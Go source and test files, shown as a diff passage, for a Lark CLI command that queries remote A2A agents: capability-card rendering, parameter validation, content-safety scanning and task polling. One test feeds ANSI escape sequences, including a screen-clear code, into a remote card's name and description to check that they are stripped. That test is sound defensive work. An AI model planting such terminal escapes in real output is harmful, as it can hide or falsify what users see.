// cardTestOpts builds a cardOptions driving agentCardRun against a real
|
||||
// (test) Factory. The example card is synthesized statically, so no API call
|
||||
// is made and stdout carries the capability card envelope.
|
||||
func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
|
||||
t.Helper()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
|
||||
return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
|
||||
}
|
||||
|
||||
// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
|
||||
// returns the statically synthesized capability card (no API), with
|
||||
// task_cancel gated off and the three context_* caps on, and the agent_id
|
||||
// echoed from the ref.
|
||||
func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card should be statically synthesized and not error: %v", err)
|
||||
}
|
||||
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v", err)
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be a card object, got %T", env.Data)
|
||||
}
|
||||
if data["agent_id"] != "echo" {
|
||||
t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
|
||||
}
|
||||
if data["provider"] != "example" {
|
||||
t.Errorf("provider should be example, got %v", data["provider"])
|
||||
}
|
||||
// source was removed from the card (schema tightening).
|
||||
if _, present := data["source"]; present {
|
||||
t.Errorf("card should no longer carry a source field, got %v", data["source"])
|
||||
}
|
||||
caps, ok := data["capabilities"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
|
||||
}
|
||||
if caps["task_cancel"] != false {
|
||||
t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
|
||||
}
|
||||
if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
|
||||
t.Errorf("echo should support the three context capabilities, got %v", caps)
|
||||
}
|
||||
// parameters / identity must serialize as non-null (guard against omitempty
|
||||
// regression): parameters is always an array (empty [] for example),
|
||||
// identity is a non-empty array.
|
||||
if params, ok := data["parameters"].([]interface{}); !ok {
|
||||
t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
|
||||
} else if len(params) != 0 {
|
||||
t.Errorf("example parameters should be an empty array, got %v", params)
|
||||
}
|
||||
if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
|
||||
t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
|
||||
}
|
||||
// card no longer exposes scope: the required_scopes field was removed from
|
||||
// AgentCard (scope is an internal registration item used only for preflight).
|
||||
if _, present := data["required_scopes"]; present {
|
||||
t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
|
||||
// since the json default flip), the card renders as a human-readable listing.
|
||||
// The output must surface the identity and capability names in plain text so
|
||||
// the stream is not valid envelope JSON.
|
||||
func TestAgentCardRun_PrettyFormat(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
opts.Format = "pretty"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card pretty should not error: %v", err)
|
||||
}
|
||||
|
||||
text := string(out.Bytes())
|
||||
// A pretty rendering is human text, not a JSON envelope.
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "echo") {
|
||||
t.Errorf("pretty output should contain agent_id: %s", text)
|
||||
}
|
||||
// context_list is a declared capability of the echo card; it must appear.
|
||||
if !strings.Contains(text, "context_list") {
|
||||
t.Errorf("pretty output should list capabilities: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
|
||||
func TestAgentCardRun_JSONFormat(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
opts.Format = "json"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card json should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
|
||||
// --jq flag must actually be REGISTERED on `agent card` (the run path already
|
||||
// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
|
||||
// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
|
||||
// the real command so registration + consumption are proven together.
|
||||
func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := NewCmdAgentCard(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("card --jq should not error: %v", err)
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
|
||||
// line instead of panicking (card.go nil branch).
|
||||
func TestPrintCardPretty_NilCard(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, nil)
|
||||
if !strings.Contains(out.String(), "(no card)") {
|
||||
t.Errorf("nil card should print a placeholder line, got: %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
|
||||
// the pretty renderer that a minimal static card omits: the dynamic-card Name
|
||||
// (taking precedence over ProviderLabel), Description, declared Parameters, and
|
||||
// the Skills block (both the named skill and the id-fallback when Name is empty).
|
||||
func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
ProviderLabel: "demo 自定义智能体",
|
||||
Name: "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
|
||||
AgentID: "agt_demo",
|
||||
Description: "a helpful demo agent",
|
||||
Identity: []iagent.IdentitySpec{
|
||||
{Type: "user"},
|
||||
{Type: "bot", Precondition: "需加入渠道白名单"},
|
||||
},
|
||||
Capabilities: iagent.Capabilities{
|
||||
ContextList: true,
|
||||
TaskCancel: false,
|
||||
},
|
||||
Parameters: []iagent.CardParam{
|
||||
{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
|
||||
},
|
||||
Skills: []iagent.CardSkill{
|
||||
{ID: "sk_1", Name: "Sales Analysis"},
|
||||
{ID: "sk_2"}, // no Name → falls back to ID
|
||||
},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
text := out.String()
|
||||
|
||||
for _, want := range []string{
|
||||
"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
|
||||
"a helpful demo agent", // Description branch
|
||||
"identity: user, bot", // IdentitySpec types are joined
|
||||
"需加入渠道白名单", // identity precondition must be visible in pretty (Task 11 wrap-up)
|
||||
"locale", // Parameters branch
|
||||
"skills:", // Skills block header
|
||||
"Sales Analysis", // skill with a Name
|
||||
"sk_2", // skill without a Name → id fallback
|
||||
} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
|
||||
// agent-controlled Name/Description cannot smuggle ANSI escapes to the
|
||||
// terminal (this sanitization is applied to every pretty surface).
|
||||
func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
AgentID: "agt_demo",
|
||||
Name: "\x1b[31mEvil\x1b[0m Agent",
|
||||
Description: "desc\x1b[2Jwipe",
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
text := out.String()
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
|
||||
t.Errorf("readable text should remain after stripping, got: %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
|
||||
// (no dynamic Name) renders its ProviderLabel as the header.
|
||||
func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
|
||||
card := &iagent.AgentCard{
|
||||
Provider: "demo",
|
||||
ProviderLabel: "demo 自定义智能体",
|
||||
AgentID: "agt_demo",
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
|
||||
t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
|
||||
// before any provider is built.
|
||||
func TestAgentCardRun_InvalidRef(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "no-colon")
|
||||
if err := agentCardRun(opts); err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
|
||||
// presence of --format and --as flags.
|
||||
func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
|
||||
cmd := NewCmdAgentCard(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("agent card with a single ref should be valid: %v", err)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Fatal("agent card should have a --format flag")
|
||||
}
|
||||
// Default output format is unified: card default flips from pretty to json.
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
|
||||
}
|
||||
if cmd.Flags().Lookup("as") == nil {
|
||||
t.Error("agent card should have an --as flag")
|
||||
}
|
||||
}
|
||||
355
cmd/agent/common.go
Normal file
355
cmd/agent/common.go
Normal file
@@ -0,0 +1,355 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agent implements the `agent` command tree: a provider-agnostic
|
||||
// surface over remote A2A agents. This file holds the shared
|
||||
// command-layer helpers: ref→provider resolution, --param validation against a
|
||||
// Card, success-envelope emission, capability gating, and wait/watch polling.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// supportedIdentities is the identity whitelist enforced for every agent
|
||||
// command; provider cards advertise (a subset of) the same set.
|
||||
var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
|
||||
|
||||
// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
|
||||
// until ctx is done, returning true if the full duration elapsed and false if
|
||||
// ctx was canceled first. Tests swap it for a no-op.
|
||||
var sleep = func(ctx context.Context, d time.Duration) bool {
|
||||
t := time.NewTimer(d)
|
||||
defer t.Stop()
|
||||
select {
|
||||
case <-t.C:
|
||||
return true
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// resolveSpec is the fully-offline resolution path: it resolves the effective
|
||||
// identity, enforces the user|bot whitelist, and looks up the AgentSpec
|
||||
// addressed by ref — WITHOUT constructing a client or touching the network. It
|
||||
// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
|
||||
// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
|
||||
// config gate — an unconfigured user still gets the precise error, not
|
||||
// not_configured. A real API verb then calls runtimeFor to build the client.
|
||||
func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagent.Provider, *iagent.AgentSpec, string, core.Identity, error) {
|
||||
id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
|
||||
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
|
||||
return iagent.Provider{}, nil, "", "", err
|
||||
}
|
||||
prov, spec, agentID, err := iagent.LookupSpec(ref)
|
||||
if err != nil {
|
||||
// ParseRef / unknown-scheme / unknown-id errors carry the validation
|
||||
// wording; promote them to a typed validation error (with a recovery hint)
|
||||
// so RunE never returns a bare error and the exit code / subtype are stable.
|
||||
return iagent.Provider{}, nil, "", "", wrapRefResolveError(err)
|
||||
}
|
||||
return prov, spec, agentID, id, nil
|
||||
}
|
||||
|
||||
// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
|
||||
// the remote API. It requires a configured client (not_configured / exit 3 here
|
||||
// is correct for a real API call). agentID is the resolved agent this call
|
||||
// addresses (from the ref), exposed to hooks via rt.AgentID().
|
||||
func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string) (iagent.Runtime, error) {
|
||||
apiClient, err := f.NewAPIClient()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &cmdRuntime{client: apiClient, as: id, agentID: agentID}, nil
|
||||
}
|
||||
|
||||
// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
|
||||
// validation typed error (subtype invalid_argument, exit 2) and attaches the
|
||||
// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
|
||||
// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
|
||||
// shape; an unknown scheme points at `agent list` to discover the available
|
||||
// providers. Both hints are copy-pasteable next steps, not just wording.
|
||||
func wrapRefResolveError(err error) error {
|
||||
// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
|
||||
// carrying a scheme-scoped hint (`agent list <scheme>`); pass it through
|
||||
// instead of flattening it via err.Error() and overwriting that hint with the
|
||||
// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
|
||||
// scheme errors need wrapping.
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return err
|
||||
}
|
||||
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
|
||||
if errors.Is(err, iagent.ErrInvalidRef) {
|
||||
return e.WithHint("agent_ref 形如 <scheme>:<agent_id>,如 example:echo")
|
||||
}
|
||||
return e.WithHint("用 lark-cli agent list 查看可用 provider")
|
||||
}
|
||||
|
||||
// cardHint builds the "check the agent card" hint. The ref is user-echoed
|
||||
// input: when it passes the safeNextRef whitelist the hint carries the
|
||||
// copy-pasteable command; otherwise it degrades to plain guidance without any
|
||||
// interpolated command (a ref containing spaces would make the command
|
||||
// non-copy-pasteable, and the hint is what an AI copies verbatim).
|
||||
func cardHint(ref, what string) string {
|
||||
if safeNextRef(ref) {
|
||||
return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
|
||||
}
|
||||
return fmt.Sprintf("查看该 agent 的能力卡片(agent card 命令)确认%s", what)
|
||||
}
|
||||
|
||||
// parseAndValidateParams parses `key=value` --param pairs and validates them
|
||||
// against the card's Parameters declaration: every Required parameter must be
|
||||
// present, and every provided key must be declared (an undeclared key
|
||||
// would otherwise be silently dropped by the provider). A pair without '=' (or
|
||||
// an empty key), a missing required parameter, or an unknown key returns a
|
||||
// validation typed error (subtype invalid_argument, param "param:<key>")
|
||||
// whose hint points at `agent card <ref>`. A nil card skips both
|
||||
// card-driven checks.
|
||||
func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
|
||||
m := make(map[string]string, len(kvs))
|
||||
for _, kv := range kvs {
|
||||
k, v, ok := strings.Cut(kv, "=")
|
||||
if !ok || k == "" {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--param 格式应为 key=value,得到 %q", kv).
|
||||
WithParam("--param").
|
||||
WithHint("以 --param key=value 形式重发")
|
||||
}
|
||||
m[k] = v
|
||||
}
|
||||
if card != nil {
|
||||
declared := make(map[string]bool, len(card.Parameters))
|
||||
for _, p := range card.Parameters {
|
||||
declared[p.Name] = true
|
||||
}
|
||||
// Unknown keys are checked in input order so the reported key is
|
||||
// deterministic when several are undeclared.
|
||||
for _, kv := range kvs {
|
||||
k, _, _ := strings.Cut(kv, "=")
|
||||
if !declared[k] {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知参数 %s(该 agent 未声明此参数)", k).
|
||||
WithParam("param:"+k).
|
||||
WithHint("%s", cardHint(ref, " parameters 声明"))
|
||||
}
|
||||
}
|
||||
for _, p := range card.Parameters {
|
||||
if !p.Required {
|
||||
continue
|
||||
}
|
||||
if _, ok := m[p.Name]; !ok {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"缺少必填参数 %s(该 agent 要求)", p.Name).
|
||||
WithParam("param:"+p.Name).
|
||||
WithHint("%s", cardHint(ref, " parameters 声明"))
|
||||
}
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// emitTask writes a task result: the standard success envelope carrying
|
||||
// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
|
||||
// the key:value human view. Because the agent's messages/artifacts are
|
||||
// untrusted external content, the payload is run through content-safety
|
||||
// scanning before emission on BOTH paths (and the pretty path additionally
|
||||
// ANSI-strips agent text). A --jq expression, when the leaf command registers
|
||||
// one, implies structured JSON and filters stdout.
|
||||
func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
|
||||
out := f.IOStreams.Out
|
||||
errOut := f.IOStreams.ErrOut
|
||||
|
||||
scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
|
||||
if scan.Blocked {
|
||||
return scan.BlockErr
|
||||
}
|
||||
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
printTaskPretty(out, task)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: task,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if len(next) > 0 {
|
||||
env.Meta = &output.Meta{Next: next}
|
||||
}
|
||||
if scan.Alert != nil {
|
||||
env.ContentSafetyAlert = scan.Alert
|
||||
}
|
||||
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
return output.JqFilter(out, env, jq)
|
||||
}
|
||||
output.PrintJson(out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
|
||||
// payload now carries untrusted agent-authored text — task list
|
||||
// (TaskSummary.Summary), context list, and context get
|
||||
// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
|
||||
// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
|
||||
// the payload BEFORE emission on every path: a block returns the typed block
|
||||
// error, a warn attaches the alert to the JSON envelope (and prints a stderr
|
||||
// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
|
||||
// is scanned); meta is an optional *output.Meta (list count, nil for a single
|
||||
// detail); pretty renders the --format pretty human view and is skipped when a
|
||||
// --jq expression forces structured JSON.
|
||||
func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
|
||||
out := f.IOStreams.Out
|
||||
errOut := f.IOStreams.ErrOut
|
||||
|
||||
scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
|
||||
if scan.Blocked {
|
||||
return scan.BlockErr
|
||||
}
|
||||
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
pretty(out)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: data,
|
||||
Meta: meta,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if scan.Alert != nil {
|
||||
env.ContentSafetyAlert = scan.Alert
|
||||
}
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
return output.JqFilter(out, env, jq)
|
||||
}
|
||||
output.PrintJson(out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// jqExpr reads the --jq flag value if the leaf command registered one; absent
|
||||
// otherwise.
|
||||
func jqExpr(cmd *cobra.Command) string {
|
||||
if cmd == nil { // options structs built directly in tests may carry no Cmd
|
||||
return ""
|
||||
}
|
||||
if f := cmd.Flags().Lookup("jq"); f != nil {
|
||||
return f.Value.String()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// capabilityError returns the unsupported_capability validation error (exit 2)
|
||||
// used for capability gating: capHuman is the human-facing action (e.g.
|
||||
// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
|
||||
// interpolates ref only when it passes the whitelist (cardHint).
|
||||
func capabilityError(ref, capHuman, capKey string) error {
|
||||
return errs.NewValidationError(
|
||||
errs.SubtypeUnsupportedCapability,
|
||||
"agent '%s' 不支持 '%s'(capability %s=false)", ref, capHuman, capKey,
|
||||
).WithHint("%s", cardHint(ref, "支持的能力"))
|
||||
}
|
||||
|
||||
// normalizeTask derives the redundant IsTerminal flag from State — the single
|
||||
// source of truth — the moment a task enters the command layer, so a provider
|
||||
// that forgets (or mis-fills) the flag can never skew watch exit codes or an
|
||||
// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
|
||||
func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
|
||||
if t != nil {
|
||||
t.IsTerminal = t.State.IsTerminal()
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
// normalizeTaskSummaries derives IsTerminal from State for every summary (same
|
||||
// single-source rule as normalizeTask), returning the slice for chaining.
|
||||
func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
|
||||
for i := range ts {
|
||||
ts[i].IsTerminal = ts[i].State.IsTerminal()
|
||||
}
|
||||
return ts
|
||||
}
|
||||
|
||||
// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
|
||||
// task hits a stop condition (terminal, input_required, or auth_required)
|
||||
// or ctx is done. A timeout is not a failure: it returns the most recent
|
||||
// task with a nil error, letting the caller print the current state (exit 0). A
|
||||
// provider GetTask error is surfaced. getTask is a bound closure over the
|
||||
// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
|
||||
// provider-neutral and testable.
|
||||
func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagent.AgentTask, error), taskID string) (*iagent.AgentTask, error) {
|
||||
const (
|
||||
initialDelay = time.Second
|
||||
maxDelay = 5 * time.Second
|
||||
)
|
||||
var last *iagent.AgentTask
|
||||
delay := initialDelay
|
||||
for {
|
||||
task, err := getTask(ctx, taskID)
|
||||
if err != nil {
|
||||
return last, err
|
||||
}
|
||||
last = task
|
||||
if task.State.ShouldStopPolling() {
|
||||
return task, nil
|
||||
}
|
||||
if ctx.Err() != nil {
|
||||
return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
|
||||
}
|
||||
if !sleep(ctx, delay) {
|
||||
// ctx canceled during backoff → observation window closed, not a
|
||||
// task failure.
|
||||
return last, nil
|
||||
}
|
||||
if delay < maxDelay {
|
||||
if delay *= 2; delay > maxDelay {
|
||||
delay = maxDelay
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// semanticExitError maps a wait/watch terminal task to the semantic exit code:
|
||||
// a non-successful terminal state (failed/rejected/canceled) yields a
|
||||
// silent exit-1 signal; any other state (including a successful terminal or a
|
||||
// non-terminal stop like input_required) yields nil. A nil task yields nil.
|
||||
func semanticExitError(task *iagent.AgentTask) error {
|
||||
if task == nil || !task.IsTerminal {
|
||||
return nil
|
||||
}
|
||||
switch task.State {
|
||||
case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
|
||||
return output.ErrBare(1)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
933
cmd/agent/common_test.go
Normal file
933
cmd/agent/common_test.go
Normal file
@@ -0,0 +1,933 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
extcs "github.com/larksuite/cli/extension/contentsafety"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
func TestValidateParamsAgainstCard(t *testing.T) {
|
||||
// Card mixes a required and an optional param so both loop branches run:
|
||||
// the optional param must be skipped (the `!p.Required continue` path) while
|
||||
// the required one is still enforced.
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{
|
||||
{Name: "app_id", Required: true},
|
||||
{Name: "locale", Required: false},
|
||||
}}
|
||||
// missing required
|
||||
if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
|
||||
t.Error("missing required app_id should error")
|
||||
}
|
||||
// provide required, omit optional: the optional param is skipped and must not error
|
||||
m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
|
||||
if err != nil || m["app_id"] != "app_sales" {
|
||||
t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
|
||||
}
|
||||
if _, ok := m["locale"]; ok {
|
||||
t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
|
||||
}
|
||||
// invalid format
|
||||
if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
|
||||
t.Error("--param without = should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_ValueWithEquals ensures values may themselves contain '='
|
||||
// (only the first '=' splits key from value).
|
||||
func TestParseParams_ValueWithEquals(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
|
||||
m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
|
||||
if err != nil {
|
||||
t.Fatalf("a value containing = should not error: %v", err)
|
||||
}
|
||||
if m["filter"] != "a=b" {
|
||||
t.Fatalf("value should preserve =, got %q", m["filter"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_EmptyKey rejects an empty key (leading '=').
|
||||
func TestParseParams_EmptyKey(t *testing.T) {
|
||||
if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
|
||||
t.Error("empty key should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
|
||||
// card's Parameters is a validation error (subtype invalid_argument, param
|
||||
// "param:<key>") whose hint points at `agent card`; a declared optional key
|
||||
// still passes.
|
||||
func TestParseParams_UnknownKeyRejected(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
|
||||
m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
|
||||
